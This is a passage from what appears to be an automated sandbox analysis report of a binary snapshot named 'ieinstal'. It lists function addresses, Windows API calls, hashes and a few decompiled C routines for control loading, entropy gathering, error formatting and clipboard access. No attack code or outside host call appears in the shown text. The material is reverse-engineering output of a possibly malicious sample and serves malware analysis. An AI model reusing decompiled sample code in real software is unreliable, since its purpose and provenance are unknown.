                                                                                                                            • Instruction Fuzzy Hash: 5CC09B355943819FD711DF108C05F1A76D5BF95705F104C397151940A0C7614014A60A
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0044DEA5 Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • FreeLibrary.KERNELBASE(?), ref: 0044DEB6
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: FreeLibrary
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3664257935-0
                                                                                                                            • Opcode ID: bc29afbdeb633a61cc40634aee98d5405fe4c9068b08d77425fcd78e2ed3a7cd
                                                                                                                            • Instruction ID: c12df66a07a312a107e4de7a98dbd39cb061029a89fa16cd2619b088cce9516a
                                                                                                                            • Opcode Fuzzy Hash: bc29afbdeb633a61cc40634aee98d5405fe4c9068b08d77425fcd78e2ed3a7cd
                                                                                                                            • Instruction Fuzzy Hash: 95C04C35D10311ABFB31AB11ED4975232A5BB00717F52006494128D065D7B8E454CB2D
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040AEBE Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • FindClose.KERNELBASE(?,0040AE21,?,00000000,00445EF5,*.*,?,00000000,?,00000104,?,?,?,?,?,00000104), ref: 0040AEC8
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: CloseFind
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1863332320-0
                                                                                                                            • Opcode ID: c351b702f3e9cabc65afcca29c8835cc335007c1b5069ed2425bca2f993f3ba3
                                                                                                                            • Instruction ID: 0a5868f0c47a417661f40efe111cada53839b745ef6d73ffe26d621af3302058
                                                                                                                            • Opcode Fuzzy Hash: c351b702f3e9cabc65afcca29c8835cc335007c1b5069ed2425bca2f993f3ba3
                                                                                                                            • Instruction Fuzzy Hash: 06C092341506058BD62C5F38DC9A42A77A0BF4A3303B40F6CA0F3D24F0E73888538A04
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00414592 Relevance: 1.5, APIs: 1, Instructions: 7registryCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • RegOpenKeyExW.KERNELBASE(80000002,80000002,00000000,00020019,80000002,00414CC1,80000002,Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders,00445DDE,?,?,00000000), ref: 004145A5
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Open
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 71445658-0
                                                                                                                            • Opcode ID: cea4c8dffb5a7e03adddd135b873dbda16caaf5da1da7b073e7ed9ea122c33c6
                                                                                                                            • Instruction ID: 4e31294bd56c0fd8f54a78566f459ab053e1b17b284f5820c9a90ca28514d216
                                                                                                                            • Opcode Fuzzy Hash: cea4c8dffb5a7e03adddd135b873dbda16caaf5da1da7b073e7ed9ea122c33c6
                                                                                                                            • Instruction Fuzzy Hash: C4C09B35544311BFDE114F40FD09F09BB61BB84B05F004414B254640B182714414EB17
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00409B98 Relevance: 1.5, APIs: 1, Instructions: 7COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: AttributesFile
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3188754299-0
                                                                                                                            • Opcode ID: 58881c252121c77da0d0db5638804f50f66f4a7a85cb6d231bcd6b2301be346c
                                                                                                                            • Instruction ID: 3e515636d229e53f9e638efbf3d1d2cf0185fd636b5c9b7db17c068ea44c501e
                                                                                                                            • Opcode Fuzzy Hash: 58881c252121c77da0d0db5638804f50f66f4a7a85cb6d231bcd6b2301be346c
                                                                                                                            • Instruction Fuzzy Hash: B9B012792104005BCB0807349C4904D35507F456317200B3CF033C00F0D730CC61BA00
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00415304 Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ??3@
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 613200358-0
                                                                                                                            • Opcode ID: ae9121cd3f31e53c53ee8718461166e7ff51970557038cf83ea6e416d6b4654c
                                                                                                                            • Instruction ID: e7ff0dbf640816315c9486a8db62c76896ac9b8339bf6d895034c27267ad2de3
                                                                                                                            • Opcode Fuzzy Hash: ae9121cd3f31e53c53ee8718461166e7ff51970557038cf83ea6e416d6b4654c
                                                                                                                            • Instruction Fuzzy Hash: A5A022A200820023CC00AB3CCC02A0A33880EE323EB320B0EB032C20C2CF38C830B00E
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0041BE52 Relevance: 1.3, APIs: 1, Instructions: 99COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: f464ccbab3ddc34ea334660331f976908ef01721c951a33d0f0b075526a08e67
                                                                                                                            • Instruction ID: 186a7b248be49691fb09735f75239c469d17650efe27a5986e87276cb9a2b443
                                                                                                                            • Opcode Fuzzy Hash: f464ccbab3ddc34ea334660331f976908ef01721c951a33d0f0b075526a08e67
                                                                                                                            • Instruction Fuzzy Hash: E8318B31901616EFDF24AF25D8417DA73A0FF04314F10416BF91497251DB38ADE18BDA
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004095D9 Relevance: 1.3, APIs: 1, Instructions: 66COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 004095FC
                                                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                              • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                              • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                              • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                                                              • Part of subcall function 004091B8: memset.MSVCRT ref: 004091E2
                                                                                                                              • Part of subcall function 004091B8: memcpy.MSVCRT ref: 004092C9
                                                                                                                              • Part of subcall function 004091B8: memcmp.MSVCRT ref: 004092D9
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memsetwcslen$AttributesFilememcmpmemcpywcscatwcscpy
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3655998216-0
                                                                                                                            • Opcode ID: e30004be4bbbfeced16a1849f7c4d541b3adc094efc719b7744e08ea692a1bc4
                                                                                                                            • Instruction ID: 072a19641c33d96fdc78833b4ff670bebeeceb9371718ab52934a970b5968781
                                                                                                                            • Opcode Fuzzy Hash: e30004be4bbbfeced16a1849f7c4d541b3adc094efc719b7744e08ea692a1bc4
                                                                                                                            • Instruction Fuzzy Hash: F311607290021D6AEF20A662DC4AE9B376CEF41318F10047BB908E51D2EA79DE548659
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00415B2C Relevance: 1.3, APIs: 1, Instructions: 62COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: c75aee8a2a8dfae17061e24b09256e9f24568c4c4acdadc464b978748c80593b
                                                                                                                            • Instruction ID: 56811e6a31311fae19106e74f332fd481794b0d175407c03959d21f12539f693
                                                                                                                            • Opcode Fuzzy Hash: c75aee8a2a8dfae17061e24b09256e9f24568c4c4acdadc464b978748c80593b
                                                                                                                            • Instruction Fuzzy Hash: 4201E572109E01E6DB1029278C81AF766899FC0399F14016FF94886281EEA8EEC542AE
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00445403 Relevance: 1.3, APIs: 1, Instructions: 60COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 00445426
                                                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                              • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                              • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                              • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                                                              • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B71C
                                                                                                                              • Part of subcall function 0040B6EF: wcsrchr.MSVCRT ref: 0040B738
                                                                                                                              • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B756
                                                                                                                              • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B7F5
                                                                                                                              • Part of subcall function 0040B6EF: CreateFileW.KERNELBASE(00445FAE,80000000,00000000,00000000,00000003,00000000,00000000,?,?), ref: 0040B80C
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memset$Filewcslen$AttributesCreatewcscatwcscpywcsrchr
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1828521557-0
                                                                                                                            • Opcode ID: ea4a949cbb04dc179977b6e9e50e7a1e4e6e0668b18cbdf2d6b9d2270a501428
                                                                                                                            • Instruction ID: 9d1500c39017731ad640c46c84131142cb98d7893e2d711cbdbff08f65233ce4
                                                                                                                            • Opcode Fuzzy Hash: ea4a949cbb04dc179977b6e9e50e7a1e4e6e0668b18cbdf2d6b9d2270a501428
                                                                                                                            • Instruction Fuzzy Hash: 4B1186B294011D7BEB10E751DC4AFDB776CEF51328F10047FB518A50C2E6B8AAC486A9
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00406B90 Relevance: 1.3, APIs: 1, Instructions: 56COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: _wcsicmp
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 2081463915-0
                                                                                                                            • Opcode ID: b978923b786281d4dff967b9753de8351d719aa9e76d1b7e7943c841c1b1a5dc
                                                                                                                            • Instruction ID: 44e68c08f8902dbc9d3bec9e3d7b81d72528a2b8c41660eeece459a1934edfa0
                                                                                                                            • Opcode Fuzzy Hash: b978923b786281d4dff967b9753de8351d719aa9e76d1b7e7943c841c1b1a5dc
                                                                                                                            • Instruction Fuzzy Hash: 0C118CB1600205AFD710DF65C8809AAB7F8FF44314F11843EE55AE7240EB34F9658B68
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00406214 Relevance: 1.3, APIs: 1, Instructions: 39COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 00406294: CloseHandle.KERNEL32(000000FF,00406224,00000000,00000000,0040E03C,?,00000000,00000104,00000000,?,?,?,0040E521,?,0040E6A3,000000FF), ref: 0040629C
                                                                                                                              • Part of subcall function 004096C3: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000,0044509F,00000000,?,00000000,00000104,00445E7E,?,?), ref: 004096D5
                                                                                                                            • GetLastError.KERNEL32(00000000,00000000,0040E03C,?,00000000,00000104,00000000,?,?,?,0040E521,?,0040E6A3,000000FF,?,00000104), ref: 00406281
                                                                                                                              • Part of subcall function 0040A2EF: ReadFile.KERNELBASE(00000000,00000000,004450DD,00000000,00000000,?,?,004450DD,00000000,00000000), ref: 0040A306
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: File$CloseCreateErrorHandleLastRead
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 2136311172-0
                                                                                                                            • Opcode ID: b6bd1096ce10d17f9a7701a6d0a27b928aedeb77931263aba22673ea05e1db24
                                                                                                                            • Instruction ID: 5eec059ee86d0bbb8aaa5289f200f29bbda103cdac5cb86a40c163b72aa3aa4c
                                                                                                                            • Opcode Fuzzy Hash: b6bd1096ce10d17f9a7701a6d0a27b928aedeb77931263aba22673ea05e1db24
                                                                                                                            • Instruction Fuzzy Hash: 3F01D6B14017018FD7206B70CD05BA273D8EF10319F11897EE55BE62D1EB3C9861866E
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040AFCF Relevance: 1.3, APIs: 1, Instructions: 12COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 0040B04B: ??3@YAXPAX@Z.MSVCRT ref: 0040B052
                                                                                                                            • ??2@YAPAXI@Z.MSVCRT ref: 0040AFD8
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ??2@??3@
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1936579350-0
                                                                                                                            • Opcode ID: d9146978952df4032bb52ee1fc914549b8afd9994305f4c2f79ca13836f6df5d
                                                                                                                            • Instruction ID: 89dc8af08517091935dcea8fd058adf4401913b4726dbdea6cb301b2924d739e
                                                                                                                            • Opcode Fuzzy Hash: d9146978952df4032bb52ee1fc914549b8afd9994305f4c2f79ca13836f6df5d
                                                                                                                            • Instruction Fuzzy Hash: 8FC02B7240C2100FD730FF74340205736D4CE422203028C2FE0E4D3101DB3C840103C8
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Non-executed Functions

                                                                                                                            Function 004044A4 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 52libraryloaderwindowCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 58%
                                                                                                                            			E004044A4(void* __ecx) {
				intOrPtr _v8;
				char _v12;
				struct HWND__* _t7;
				_Unknown_base(*)()* _t12;
				struct HWND__* _t16;
				void* _t21;
				struct HINSTANCE__* _t24;

				_v12 = 8;
				_v8 = 0xff;
				_t16 = 0;
				_t21 = 0;
				_t24 = LoadLibraryW("comctl32.dll");
				if(_t24 == 0) {
					L5:
					 *0x44e014();
					_t7 = 1;
					L6:
					if(_t7 != 0) {
						return 1;
					} else {
						MessageBoxW(_t7, "Error: Cannot load the common control classes.", "Error", 0x30);
						return 0;
					}
				}
				_t12 = GetProcAddress(_t24, "InitCommonControlsEx");
				if(_t12 != 0) {
					_t21 = 1;
					_t16 =  *_t12( &_v12);
				}
				FreeLibrary(_t24);
				if(_t21 == 0) {
					goto L5;
				} else {
					_t7 = _t16;
					goto L6;
				}
			}










                                                                                                                            0x004044b1
                                                                                                                            0x004044b8
                                                                                                                            0x004044bf
                                                                                                                            0x004044c1
                                                                                                                            0x004044c9
                                                                                                                            0x004044cd
                                                                                                                            0x004044f7
                                                                                                                            0x004044f7
                                                                                                                            0x004044ff
                                                                                                                            0x00404500
                                                                                                                            0x00404505
                                                                                                                            0x00404522
                                                                                                                            0x00404507
                                                                                                                            0x00404514
                                                                                                                            0x0040451d
                                                                                                                            0x0040451d
                                                                                                                            0x00404505
                                                                                                                            0x004044d5
                                                                                                                            0x004044dd
                                                                                                                            0x004044e3
                                                                                                                            0x004044e6
                                                                                                                            0x004044e6
                                                                                                                            0x004044e9
                                                                                                                            0x004044f1
                                                                                                                            0x00000000
                                                                                                                            0x004044f3
                                                                                                                            0x004044f3
                                                                                                                            0x00000000
                                                                                                                            0x004044f3

                                                                                                                            APIs
                                                                                                                            • LoadLibraryW.KERNEL32(comctl32.dll), ref: 004044C3
                                                                                                                            • GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 004044D5
                                                                                                                            • FreeLibrary.KERNEL32(00000000), ref: 004044E9
                                                                                                                            • MessageBoxW.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 00404514
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Library$AddressFreeLoadMessageProc
                                                                                                                            • String ID: Error$Error: Cannot load the common control classes.$InitCommonControlsEx$comctl32.dll
                                                                                                                            • API String ID: 2780580303-317687271
                                                                                                                            • Opcode ID: 4451af1fa5a3c13e403cd0bd9a94ec580510088b32cd85f0031bb893d40152de
                                                                                                                            • Instruction ID: 703d86131c3dcb59aab6256491fb2853d543806c906e0642a055f98632e98cc8
                                                                                                                            • Opcode Fuzzy Hash: 4451af1fa5a3c13e403cd0bd9a94ec580510088b32cd85f0031bb893d40152de
                                                                                                                            • Instruction Fuzzy Hash: B201D6757502217BE7112FB69C49F7B7A9CFF82749B000035E601E2180EAB8D901926D
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0041881C Relevance: 12.1, APIs: 8, Instructions: 70timeCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 100%
                                                                                                                            			E0041881C(void _a8, void* _a12) {
				void _v12;
				void _v20;
				void* _t35;
				void _t36;
				int _t38;
				void* _t39;

				_t35 = _a12;
				_t36 = _a8;
				_t38 = 0;
				if(_t36 >= 0x10) {
					GetSystemTime( &_v20);
					_t38 = 0x10;
					memcpy(_t35,  &_v20, 0);
					_t39 = _t39 + 0xc;
				}
				if(_t36 - _t38 >= 4) {
					_a8 = GetCurrentProcessId();
					memcpy(_t38 + _t35,  &_a8, 4);
					_t39 = _t39 + 0xc;
					_t38 = _t38 + 4;
				}
				if(_t36 - _t38 >= 4) {
					_a8 = GetTickCount();
					memcpy(_t38 + _t35,  &_a8, 4);
					_t39 = _t39 + 0xc;
					_t38 = _t38 + 4;
				}
				if(_t36 - _t38 >= 8) {
					QueryPerformanceCounter( &_v12);
					memcpy(_t38 + _t35,  &_v12, 8);
					_t38 = _t38 + 8;
				}
				return _t38;
			}









                                                                                                                            0x00418823
                                                                                                                            0x00418828
                                                                                                                            0x0041882b
                                                                                                                            0x00418830
                                                                                                                            0x00418836
                                                                                                                            0x0041883e
                                                                                                                            0x00418845
                                                                                                                            0x0041884a
                                                                                                                            0x0041884a
                                                                                                                            0x00418854
                                                                                                                            0x0041885c
                                                                                                                            0x00418869
                                                                                                                            0x0041886e
                                                                                                                            0x00418871
                                                                                                                            0x00418871
                                                                                                                            0x0041887b
                                                                                                                            0x00418883
                                                                                                                            0x00418890
                                                                                                                            0x00418895
                                                                                                                            0x00418898
                                                                                                                            0x00418898
                                                                                                                            0x004188a0
                                                                                                                            0x004188a6
                                                                                                                            0x004188b6
                                                                                                                            0x004188be
                                                                                                                            0x004188be
                                                                                                                            0x004188c7

                                                                                                                            APIs
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memcpy$CountCounterCurrentPerformanceProcessQuerySystemTickTime
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 4218492932-0
                                                                                                                            • Opcode ID: 5b3bc6f1ade46934c27ca3d947f7b8c79a38ab90bf8452c3a07df30f33fc823a
                                                                                                                            • Instruction ID: a427a134a5f43ecd7f569dc5a6dbdc76404a49e7a1b6a3986382666b5299f542
                                                                                                                            • Opcode Fuzzy Hash: 5b3bc6f1ade46934c27ca3d947f7b8c79a38ab90bf8452c3a07df30f33fc823a
                                                                                                                            • Instruction Fuzzy Hash: 141184B39001286BEB00AFA5DC899DEB7ACEB1A210F454837FA15D7144E634E2488795
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004182CE Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69windowCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 42%
                                                                                                                            			E004182CE(void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				void* _v8;
				short _v12;
				char _v16;
				void* __esi;
				void* _t16;
				intOrPtr _t22;
				long _t26;
				intOrPtr _t27;
				intOrPtr _t30;
				long _t31;
				long _t38;

				_t31 = GetLastError();
				_v8 = 0;
				_t16 = E0041739B();
				_push(0);
				_push(0);
				if(_t16 == 0) {
					_v16 = 0;
					_t26 = FormatMessageA(0x1300, 0, _t31, 0,  &_v16, ??, ??);
					if(_t26 > 0) {
						_t22 = E004174F5(_v16);
						_push(_v16);
						goto L5;
					}
				} else {
					_v12 = 0;
					_t26 = FormatMessageW(0x1300, 0, _t31, 0,  &_v12, ??, ??);
					if(_t26 > 0) {
						_t22 = E00417434(_v12);
						_push(_v12);
						L5:
						_v8 = _t22;
						LocalFree(??);
						_t38 = _t26;
					}
				}
				_t27 = _a8;
				_t30 = _a4;
				if(_t38 != 0) {
					E004166B6(_t27, _t30, 0, 0x454cc0, _v8);
					0x4466a0(_v8);
				} else {
					_push(_t31);
					E004166B6(_t27, _t30, 0, "OsError 0x%x (%u)", _t31);
				}
				return 0;
			}














                                                                                                                            0x004182df
                                                                                                                            0x004182e1
                                                                                                                            0x004182e4
                                                                                                                            0x004182eb
                                                                                                                            0x004182ec
                                                                                                                            0x004182ed
                                                                                                                            0x00418324
                                                                                                                            0x0041832d
                                                                                                                            0x00418331
                                                                                                                            0x00418336
                                                                                                                            0x0041833c
                                                                                                                            0x00000000
                                                                                                                            0x0041833c
                                                                                                                            0x004182ef
                                                                                                                            0x004182fb
                                                                                                                            0x00418304
                                                                                                                            0x00418308
                                                                                                                            0x0041830d
                                                                                                                            0x00418313
                                                                                                                            0x0041833f
                                                                                                                            0x0041833f
                                                                                                                            0x00418342
                                                                                                                            0x00418348
                                                                                                                            0x00418348
                                                                                                                            0x00418308
                                                                                                                            0x0041834a
                                                                                                                            0x0041834d
                                                                                                                            0x00418350
                                                                                                                            0x00418368
                                                                                                                            0x00418370
                                                                                                                            0x00418352
                                                                                                                            0x00418352
                                                                                                                            0x00418359
                                                                                                                            0x00418359
                                                                                                                            0x0041837e

                                                                                                                            APIs
                                                                                                                            • GetLastError.KERNEL32 ref: 004182D7
                                                                                                                              • Part of subcall function 0041739B: GetVersionExW.KERNEL32(?), ref: 004173BE
                                                                                                                            • FormatMessageW.KERNEL32(00001300,00000000,00000000,00000000,?,00000000,00000000), ref: 004182FE
                                                                                                                            • FormatMessageA.KERNEL32(00001300,00000000,00000000,00000000,?,00000000,00000000), ref: 00418327
                                                                                                                            • LocalFree.KERNEL32(?), ref: 00418342
                                                                                                                            • ??3@YAXPAX@Z.MSVCRT ref: 00418370
                                                                                                                              • Part of subcall function 00417434: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,?,?,75A3DF80,?,0041755F,?), ref: 00417452
                                                                                                                              • Part of subcall function 00417434: malloc.MSVCRT ref: 00417459
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: FormatMessage$??3@ByteCharErrorFreeLastLocalMultiVersionWidemalloc
                                                                                                                            • String ID: OsError 0x%x (%u)
                                                                                                                            • API String ID: 403622227-2664311388
                                                                                                                            • Opcode ID: d5c6fe0526594b2b514a1ddbfaf48a72c8b645ad5f50ee8d851b871b7e219225
                                                                                                                            • Instruction ID: 20f22e5b187e4483f2e635e74e626e0383ca95cf640bb4168ff376264581b0c9
                                                                                                                            • Opcode Fuzzy Hash: d5c6fe0526594b2b514a1ddbfaf48a72c8b645ad5f50ee8d851b871b7e219225
                                                                                                                            • Instruction Fuzzy Hash: 6011B634901128FBCB11ABE2DC49CDF7F78FF85B54B10405AF811A2251DB754A81D7A9
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0041183A Relevance: 4.5, APIs: 3, Instructions: 44fileclipboardCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 00409A45: GetTempPathW.KERNEL32(00000104,?,00445FAE), ref: 00409A5C
                                                                                                                              • Part of subcall function 00409A45: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00409A6E
                                                                                                                              • Part of subcall function 00409A45: GetTempFileNameW.KERNELBASE(?,0040B827,00000000,?), ref: 00409A85
                                                                                                                            • OpenClipboard.USER32(?), ref: 00411878
                                                                                                                            • GetLastError.KERNEL32 ref: 0041188D
                                                                                                                            • DeleteFileW.KERNEL32(?), ref: 004118AC
                                                                                                                              • Part of subcall function 004098E2: EmptyClipboard.USER32 ref: 004098EC
                                                                                                                              • Part of subcall function 004098E2: GetFileSize.KERNEL32(00000000,00000000), ref: 00409909
                                                                                                                              • Part of subcall function 004098E2: GlobalAlloc.KERNEL32(00002000,00000002), ref: 0040991A
                                                                                                                              • Part of subcall function 004098E2: GlobalFix.KERNEL32(00000000), ref: 00409927
                                                                                                                              • Part of subcall function 004098E2: ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 0040993A
                                                                                                                              • Part of subcall function 004098E2: GlobalUnWire.KERNEL32(00000000), ref: 0040994C
                                                                                                                              • Part of subcall function 004098E2: SetClipboardData.USER32(0000000D,00000000), ref: 00409955
